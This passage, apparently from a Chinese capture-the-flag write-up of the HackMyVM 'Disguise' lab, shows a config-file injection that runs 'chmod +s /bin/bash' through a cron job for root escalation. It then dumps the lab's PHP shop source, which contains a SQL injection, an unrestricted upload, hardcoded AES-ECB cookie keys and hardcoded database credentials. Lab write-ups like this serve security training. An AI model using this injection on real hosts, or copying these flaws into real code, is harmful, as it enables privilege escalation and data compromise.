\/bin\/bash\ndarksoul@disguise:~$ cat config.ini\n[client]\nuser = dark_db_admin\npassword = Str0ngPassw0d1***\nhost = localhost\ndatabase = dark_shop\nport = int(3306)\nallow_local_infile=__import__(&#039;os&#039;).system(&#039;chmod +s \/bin\/bash&#039;)<\/code><\/pre>\n<p>\u8fc7\u4e00\u4f1a\u7b49\u5b9a\u65f6\u4efb\u52a1\u6267\u884c\u5373\u53ef\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258230.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258230.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621025335514\" style=\"zoom:33%;\" \/><\/div><\/p>\n<h2>\u4e00\u4e9b\u6709\u610f\u601d\u7684\u6e90\u4ee3\u7801\uff01\uff01\uff01<\/h2>\n<p>\u611f\u8c22\u5927\u4f6c\u7684\u9776\u573a\uff0c\u5b66\u5230\u4e86\u5f88\u591a\uff0c\u662f\u4e2a\u5f88\u6709\u610f\u601d\u7684\u9776\u573a\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-html\">darksoul@disguise:\/var\/www\/dark# ls -la\ntotal 76\ndrwxr-xr-x 4 www-data www-data 4096 Apr  2 04:39 .\ndrwxr-xr-x 4 root     root     4096 Mar 31 21:07 ..\n-rw-r--r-- 1 root     root      905 Mar 31 23:01 captcha.php\n-rw-r--r-- 1 root     root       95 Apr  1 03:58 config.php\n-rw-r--r-- 1 root     root     1736 Apr  1 21:24 functions.php\n-rw-r--r-- 1 root     root      660 Apr  1 05:13 image_handler.php\ndrwxr-xr-x 2 www-data www-data 4096 Jun 20 13:47 images\n-rw-r--r-- 1 root     root     1225 Apr  1 05:16 index.php\n-rw-r--r-- 1 root     root     2088 Apr  1 04:14 login.php\n-rw-r--r-- 1 root     root      237 Mar 31 22:00 logout.php\ndrwxr-xr-x 2 root     root     4096 Apr  1 22:59 manager\n-rw-r--r-- 1 root     root     1142 Apr  1 21:29 profile.php\n-rw-r--r-- 1 root     root     4080 Apr  1 04:28 register.php\n-rw-r--r-- 1 root     root     4350 Mar 31 22:49 style1.css\n-rw-r--r-- 1 root     root     4474 Apr  1 03:40 style2.css\n-rw-r--r-- 1 root     root     2342 Apr  1 03:41 style3.css\n-rw-r--r-- 1 root     root     2801 Apr  1 04:43 style4.css\ndarksoul@disguise:\/var\/www\/dark# cat register.php\n&lt;?php \ninclude &#039;functions.php&#039;;\n\nif($_SERVER[&#039;REQUEST_METHOD&#039;] == &#039;POST&#039;) {\n    $username = $_POST[&#039;username&#039;];\n    $password = base64_encode($_POST[&#039;password&#039;]);\n    $captcha = $_POST[&#039;captcha&#039;];\n\n    if(!verify_captcha($captcha)) {\n        $error = &quot;\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165&quot;;\n        generate_captcha();\n    } else {\n        $conn = db_connect();\n\n        \/\/ \u68c0\u67e5\u7528\u6237\u540d\u662f\u5426\u5df2\u5b58\u5728\n        $check_stmt = $conn-&gt;prepare(&quot;SELECT id FROM users WHERE username = ?&quot;);\n        $check_stmt-&gt;bind_param(&quot;s&quot;, $username);\n        $check_stmt-&gt;execute();\n        $check_stmt-&gt;store_result();\n\n        if($check_stmt-&gt;num_rows &gt; 0) {\n            $error = &quot;\u7528\u6237\u540d\u5df2\u5b58\u5728\uff0c\u8bf7\u9009\u62e9\u5176\u4ed6\u7528\u6237\u540d&quot;;\n            generate_captcha();\n        } else {\n            $stmt = $conn-&gt;prepare(&quot;INSERT INTO users (username, password, isAdmin) VALUES (?, ?, FALSE)&quot;);\n            $stmt-&gt;bind_param(&quot;ss&quot;, $username, $password);\n\n            if($stmt-&gt;execute()) {\n                $_SESSION[&#039;register_success&#039;] = true;\n                header(&quot;Location: register.php&quot;);\n                generate_captcha();\n                exit();\n            } else {\n                $error = &quot;\u6ce8\u518c\u5931\u8d25: &quot;.$conn-&gt;error;\n                generate_captcha();\n            }\n            $stmt-&gt;close();\n        }\n        $check_stmt-&gt;close();\n        $conn-&gt;close();\n    }\n}\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u6ce8\u518c - \u6697\u9ed1\u5546\u5e97&lt;\/title&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;style2.css&quot;&gt;\n    &lt;?php if(isset($_SESSION[&#039;register_success&#039;])): ?&gt;\n    &lt;meta http-equiv=&quot;refresh&quot; content=&quot;3;url=login.php&quot;&gt;\n    &lt;?php endif; ?&gt;\n    &lt;script&gt;\n        function validateForm() {\n            var username = document.forms[&quot;register&quot;][&quot;username&quot;].value;\n            if(username.length &gt; 8) {\n                alert(&quot;\u7528\u6237\u540d\u4e0d\u80fd\u8d85\u8fc78\u4e2a\u5b57\u7b26&quot;);\n                return false;\n            }\n            return true;\n        }\n    &lt;\/script&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;div class=&quot;auth-container&quot;&gt;\n        &lt;div class=&quot;auth-card&quot;&gt;\n            &lt;?php if(isset($_SESSION[&#039;register_success&#039;])): ?&gt;\n                &lt;?php unset($_SESSION[&#039;register_success&#039;]); ?&gt;\n                &lt;div class=&quot;auth-success&quot;&gt;\n                    &lt;h2 class=&quot;auth-title&quot;&gt;\u6ce8\u518c\u6210\u529f!&lt;\/h2&gt;\n                    &lt;p&gt;3\u79d2\u540e\u5c06\u8df3\u8f6c\u5230\u767b\u5f55\u9875\u9762...&lt;\/p&gt;\n                &lt;\/div&gt;\n            &lt;?php else: ?&gt;\n                &lt;h2 class=&quot;auth-title&quot;&gt;\u521b\u5efa\u8d26\u53f7&lt;\/h2&gt;\n\n                &lt;?php if(isset($error)): ?&gt;\n                    &lt;div class=&quot;auth-error&quot;&gt;&lt;?php echo htmlspecialchars($error); ?&gt;&lt;\/div&gt;\n                &lt;?php endif; ?&gt;\n\n                &lt;form name=&quot;register&quot; method=&quot;post&quot; onsubmit=&quot;return validateForm()&quot;&gt;\n                    &lt;div class=&quot;auth-input-group&quot;&gt;\n                        &lt;input type=&quot;text&quot; class=&quot;auth-input&quot; name=&quot;username&quot; placeholder=&quot; &quot; required&gt;\n                        &lt;label class=&quot;auth-input-label&quot;&gt;\u7528\u6237\u540d&lt;\/label&gt;\n                    &lt;\/div&gt;\n\n                    &lt;div class=&quot;auth-input-group&quot;&gt;\n                        &lt;input type=&quot;password&quot; class=&quot;auth-input&quot; name=&quot;password&quot; placeholder=&quot; &quot; required&gt;\n                        &lt;label class=&quot;auth-input-label&quot;&gt;\u5bc6\u7801&lt;\/label&gt;\n                    &lt;\/div&gt;\n\n                    &lt;div class=&quot;captcha-container&quot;&gt;\n                        &lt;div class=&quot;auth-input-group&quot; style=&quot;flex: 1&quot;&gt;\n                            &lt;input type=&quot;text&quot; class=&quot;auth-input&quot; name=&quot;captcha&quot; placeholder=&quot; &quot; required&gt;\n                            &lt;label class=&quot;auth-input-label&quot;&gt;\u9a8c\u8bc1\u7801&lt;\/label&gt;\n                        &lt;\/div&gt;\n                        &lt;img src=&quot;captcha.php&quot; class=&quot;captcha-image&quot; onclick=&quot;this.src=&#039;captcha.php?&#039;+Math.random()&quot;&gt;\n                    &lt;\/div&gt;\n\n                    &lt;button type=&quot;submit&quot; class=&quot;auth-button&quot;&gt;\u6ce8 \u518c&lt;\/button&gt;\n                &lt;\/form&gt;\n\n                &lt;div class=&quot;auth-footer&quot;&gt;\n                    \u5df2\u6709\u8d26\u53f7? &lt;a href=&quot;login.php&quot; class=&quot;auth-link&quot;&gt;\u7acb\u5373\u767b\u5f55&lt;\/a&gt;\n                &lt;\/div&gt;\n            &lt;?php endif; ?&gt;\n        &lt;\/div&gt;\n    &lt;\/div&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\ndarksoul@disguise:\/var\/www\/dark# cat profile.php\n&lt;?php\ninclude &#039;functions.php&#039;;\n\nif(!isset($_COOKIE[&#039;dark_session&#039;])) {\n    header(&quot;Location: login.php&quot;);\n    exit();\n}\n\n$username = get_dark_session($_COOKIE[&#039;dark_session&#039;]);\n$isAdmin = is_admin($username);\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u4e2a\u4eba\u4e2d\u5fc3 - \u6697\u9ed1\u5546\u5e97&lt;\/title&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;style3.css&quot;&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;h1&gt;\u6697\u9ed1\u5546\u5e97&lt;\/h1&gt;\n        &lt;nav&gt;\n            &lt;span&gt;\u6b22\u8fce, &lt;?php echo htmlspecialchars($username); ?&gt; \n            &lt;?php if($isAdmin): ?&gt;(\u7ba1\u7406\u5458)&lt;?php endif; ?&gt;&lt;\/span&gt; | \n            &lt;a href=&quot;index.php&quot;&gt;\u9996\u9875&lt;\/a&gt; | \n            &lt;?php if($isAdmin): ?&gt;\n                &lt;a href=&quot;manager\/&quot;&gt;\u7ba1\u7406\u540e\u53f0&lt;\/a&gt; | \n            &lt;?php endif; ?&gt;\n            &lt;a href=&quot;logout.php&quot;&gt;\u9000\u51fa&lt;\/a&gt;\n        &lt;\/nav&gt;\n    &lt;\/header&gt;\n\n    &lt;div class=&quot;profile&quot;&gt;\n        &lt;h2&gt;\u4e2a\u4eba\u4e2d\u5fc3&lt;\/h2&gt;\n        &lt;p&gt;\u6b22\u8fce\u8bbf\u95ee\u60a8\u7684\u4e2a\u4eba\u4e3b\u9875\uff0c\u8fd9\u91cc\u53ef\u4ee5\u67e5\u770b\u548c\u7ba1\u7406\u60a8\u7684\u8d26\u6237\u4fe1\u606f&lt;\/p&gt;\n\n        &lt;?php if($isAdmin): ?&gt;\n            &lt;div class=&quot;admin-badge&quot;&gt;\n                &lt;p&gt;\u60a8\u62e5\u6709\u7cfb\u7edf\u7ba1\u7406\u5458\u6743\u9650&lt;\/p&gt;\n            &lt;\/div&gt;\n        &lt;?php endif; ?&gt;\n    &lt;\/div&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\ndarksoul@disguise:\/var\/www\/dark# cat captcha.php\n&lt;?php\nsession_start();\n\n\/\/ Error reporting\nerror_reporting(E_ALL);\nini_set(&#039;display_errors&#039;, 1);\n\n\/\/ Verify GD\nif (!extension_loaded(&#039;gd&#039;)) {\n    header(&#039;Content-Type: text\/plain&#039;);\n    die(&#039;GD extension not loaded&#039;);\n}\n\n\/\/ Generate CAPTCHA code\n$chars = &#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;\n$captcha = substr(str_shuffle($chars), 0, 6);\n$_SESSION[&#039;captcha&#039;] = $captcha;\n\n\/\/ Create image\n$width = 120;\n$height = 40;\n$image = imagecreatetruecolor($width, $height);\n\nif (!$image) {\n    header(&#039;Content-Type: text\/plain&#039;);\n    die(&#039;Failed to create image&#039;);\n}\n\n\/\/ Colors\n$bg = imagecolorallocate($image, 30, 30, 30);\n$text = imagecolorallocate($image, 200, 200, 200);\nimagefilledrectangle($image, 0, 0, $width, $height, $bg);\n\n\/\/ Add text\n$font = 5; \/\/ Built-in font\nimagestring($image, $font, 10, 10, $captcha, $text);\n\n\/\/ Output\nheader(&#039;Content-Type: image\/png&#039;);\nimagepng($image);\nimagedestroy($image);\n?&gt;\ndarksoul@disguise:\/var\/www\/dark# cat config.php\n&lt;?php\n\n$DB_USER = &#039;dark_db_admin&#039;;\n$DB_PASS = &#039;Str0ngPassw0d1***&#039;;\n$DB_NAME = &#039;dark_shop&#039;;\n\n?&gt;\ndarksoul@disguise:\/var\/www\/dark# cat functions.php\n&lt;?php\nsession_start();\n\ninclude &#039;config.php&#039;;\n\nfunction db_connect() {\n    global $DB_USER,$DB_PASS,$DB_NAME;\n    $conn = new mysqli(&#039;localhost&#039;, $DB_USER, $DB_PASS, $DB_NAME);\n    if ($conn-&gt;connect_error) {\n        die(&quot;\u8fde\u63a5\u5931\u8d25: &quot; . $conn-&gt;connect_error);\n    }\n    return $conn;\n}\n\nfunction generate_captcha() {\n    $chars = &#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;\n    $captcha = substr(str_shuffle($chars), 0, 6);\n    $_SESSION[&#039;captcha&#039;] = $captcha;\n    return $captcha;\n}\n\nfunction verify_captcha($input) {\n    return isset($_SESSION[&#039;captcha&#039;]) &amp;&amp; strtoupper($input) === $_SESSION[&#039;captcha&#039;];\n}\n\nfunction aes_encrypt($data, $key) {\n    return openssl_encrypt($data, &#039;AES-128-ECB&#039;, $key, OPENSSL_RAW_DATA);\n}\n\nfunction aes_decrypt($data, $key) {\n    return openssl_decrypt($data, &#039;AES-128-ECB&#039;, $key, OPENSSL_RAW_DATA);\n}\n\nfunction set_dark_session($username, $isAdmin) {\n    $modified = &#039;bili&#039; . $username;\n    $encrypted = openssl_encrypt($modified, &#039;AES-128-ECB&#039;, &#039;secret_key_2a8d32a&#039;, OPENSSL_RAW_DATA);\n    setcookie(&#039;dark_session&#039;, base64_encode($encrypted), 0, &#039;\/&#039;);\n}\n\nfunction get_dark_session($dark_session){\n    $encrypted = base64_decode($dark_session);\n    $decrypted = openssl_decrypt($encrypted, &#039;AES-128-ECB&#039;, &#039;secret_key_2a8d32a&#039;, OPENSSL_RAW_DATA);\n    return $username = substr($decrypted, 4);\n}\n\nfunction is_admin($username) {\n    $conn = db_connect();\n    $stmt = $conn-&gt;prepare(&quot;SELECT isAdmin FROM users WHERE username = ?&quot;);\n    $stmt-&gt;bind_param(&quot;s&quot;, $username);\n    $stmt-&gt;execute();\n    $result = $stmt-&gt;get_result();\n\n    if($result-&gt;num_rows &gt; 0) {\n        $row = $result-&gt;fetch_assoc();\n        return (int)$row[&#039;isAdmin&#039;];\n    }\n\n    $stmt-&gt;close();\n    $conn-&gt;close();\n    return 0;\n}\n\n?&gt;\ndarksoul@disguise:\/var\/www\/dark# cat image_handler.php\n&lt;?php\ninclude &#039;functions.php&#039;;\n\nif(!isset($_GET[&#039;id&#039;])) {\n    http_response_code(400);\n    exit(&#039;Invalid request&#039;);\n}\n\n$conn = db_connect();\n$stmt = $conn-&gt;prepare(&quot;SELECT image FROM products WHERE id = ?&quot;);\n$stmt-&gt;bind_param(&quot;i&quot;, $_GET[&#039;id&#039;]);\n$stmt-&gt;execute();\n$result = $stmt-&gt;get_result();\n\nif($result-&gt;num_rows === 0) {\n    http_response_code(404);\n    exit(&#039;Image not found&#039;);\n}\n\n$product = $result-&gt;fetch_assoc();\n$image_path = $product[&#039;image&#039;];\n\nif(!file_exists($image_path)) {\n    http_response_code(404);\n    exit(&#039;Image file not found&#039;);\n}\n\n$mime_type = mime_content_type($image_path);\nheader(&quot;Content-Type: $mime_type&quot;);\nreadfile($image_path);\n?&gt;\ndarksoul@disguise:\/var\/www\/dark# cd manager\ndarksoul@disguise:\/var\/www\/dark\/manager# ls -la\ntotal 16\ndrwxr-xr-x 2 root     root     4096 Apr  1 22:59 .\ndrwxr-xr-x 4 www-data www-data 4096 Apr  2 04:39 ..\n-rw-r--r-- 1 root     root     1801 Apr  1 21:26 add_product.php\n-rw-r--r-- 1 root     root      830 Apr  1 22:59 index.php\ndarksoul@disguise:\/var\/www\/dark\/manager# cat add_product.php \n&lt;?php \ninclude &#039;..\/functions.php&#039;;\n\nif(!isset($_COOKIE[&#039;dark_session&#039;])){\n    header(&quot;Location: ..\/login.php&quot;);\n    exit();\n}\n\n$username = get_dark_session($_COOKIE[&#039;dark_session&#039;]);\n$isAdmin = is_admin($username);\n\nif(!$isAdmin) {\n    header(&quot;Location: ..\/login.php&quot;);\n    exit();\n}\n\nif($_SERVER[&#039;REQUEST_METHOD&#039;] == &#039;POST&#039;) {\n    $name = $_POST[&#039;name&#039;];\n    $description = $_POST[&#039;description&#039;];\n    $price = $_POST[&#039;price&#039;];\n\n    $uuid = bin2hex(random_bytes(16));\n    $ext = pathinfo($_FILES[&#039;image&#039;][&#039;name&#039;], PATHINFO_EXTENSION);\n    $new_filename = $uuid . &#039;.&#039; . $ext;\n    $image_path = &#039;images\/&#039; . $new_filename;\n\n    move_uploaded_file($_FILES[&#039;image&#039;][&#039;tmp_name&#039;], &#039;..\/&#039; . $image_path);\n\n    $conn = db_connect();\n    $sql = &quot;INSERT INTO products (name, description, price, image) VALUES (&#039;$name&#039;,&#039;$description&#039;,&#039;$price&#039;,&#039;$image_path&#039;)&quot;;\n\n    if ($conn-&gt;query($sql) === TRUE) {\n        echo &quot;\u65b0\u5546\u54c1\u6dfb\u52a0\u6210\u529f\uff0cID: &quot; . $conn-&gt;insert_id;\n    } else {\n        echo &quot;\u5546\u54c1\u6dfb\u52a0\u5931\u8d25: &quot; . $conn-&gt;error;\n    }\n\n    $conn-&gt;close();\n\n    header(&quot;Location: ..\/index.php&quot;);\n    exit();\n}\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u6dfb\u52a0\u5546\u54c1 - \u6697\u9ed1\u5546\u5e97&lt;\/title&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;..\/style4.css&quot;&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;div class=&quot;auth-form&quot;&gt;\n        &lt;h2&gt;\u6dfb\u52a0\u5546\u54c1&lt;\/h2&gt;\n        &lt;form method=&quot;post&quot; enctype=&quot;multipart\/form-data&quot;&gt;\n            &lt;input type=&quot;text&quot; name=&quot;name&quot; placeholder=&quot;\u5546\u54c1\u540d\u79f0&quot; required&gt;\n            &lt;textarea name=&quot;description&quot; placeholder=&quot;\u5546\u54c1\u63cf\u8ff0&quot; required&gt;&lt;\/textarea&gt;\n            &lt;input type=&quot;number&quot; step=&quot;0.01&quot; name=&quot;price&quot; placeholder=&quot;\u4ef7\u683c&quot; required&gt;\n            &lt;input type=&quot;file&quot; name=&quot;image&quot; accept=&quot;image\/*&quot; required&gt;\n            &lt;button type=&quot;submit&quot;&gt;\u6dfb\u52a0\u5546\u54c1&lt;\/button&gt;\n        &lt;\/form&gt;\n    &lt;\/div&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/www.bilibili.com\/video\/BV1jbVizjEGE\/\">https:\/\/www.bilibili.com\/video\/BV1jbVizjEGE\/<\/a><\/p>\n<p><a href=\"https:\/\/pepster.me\/HackMyVM-Disguise-Walkthrough\/\">https:\/\/pepster.me\/HackMyVM-Disguise-Walkthrough\/<\/a><\/p>\n<p><a href=\"https:\/\/sunsetaction.top\/2025\/05\/13\/HackMyVMDisguise\/\">https:\/\/sunsetaction.top\/2025\/05\/13\/HackMyVMDisguise\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Disguise \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise] \u2514\u2500$ [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,20,21,18],"tags":[],"class_list":["post-903","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-crypto","category-misc","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/903","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=903"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/903\/revisions"}],"predecessor-version":[{"id":904,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/903\/revisions\/904"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=903"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=903"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=903"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}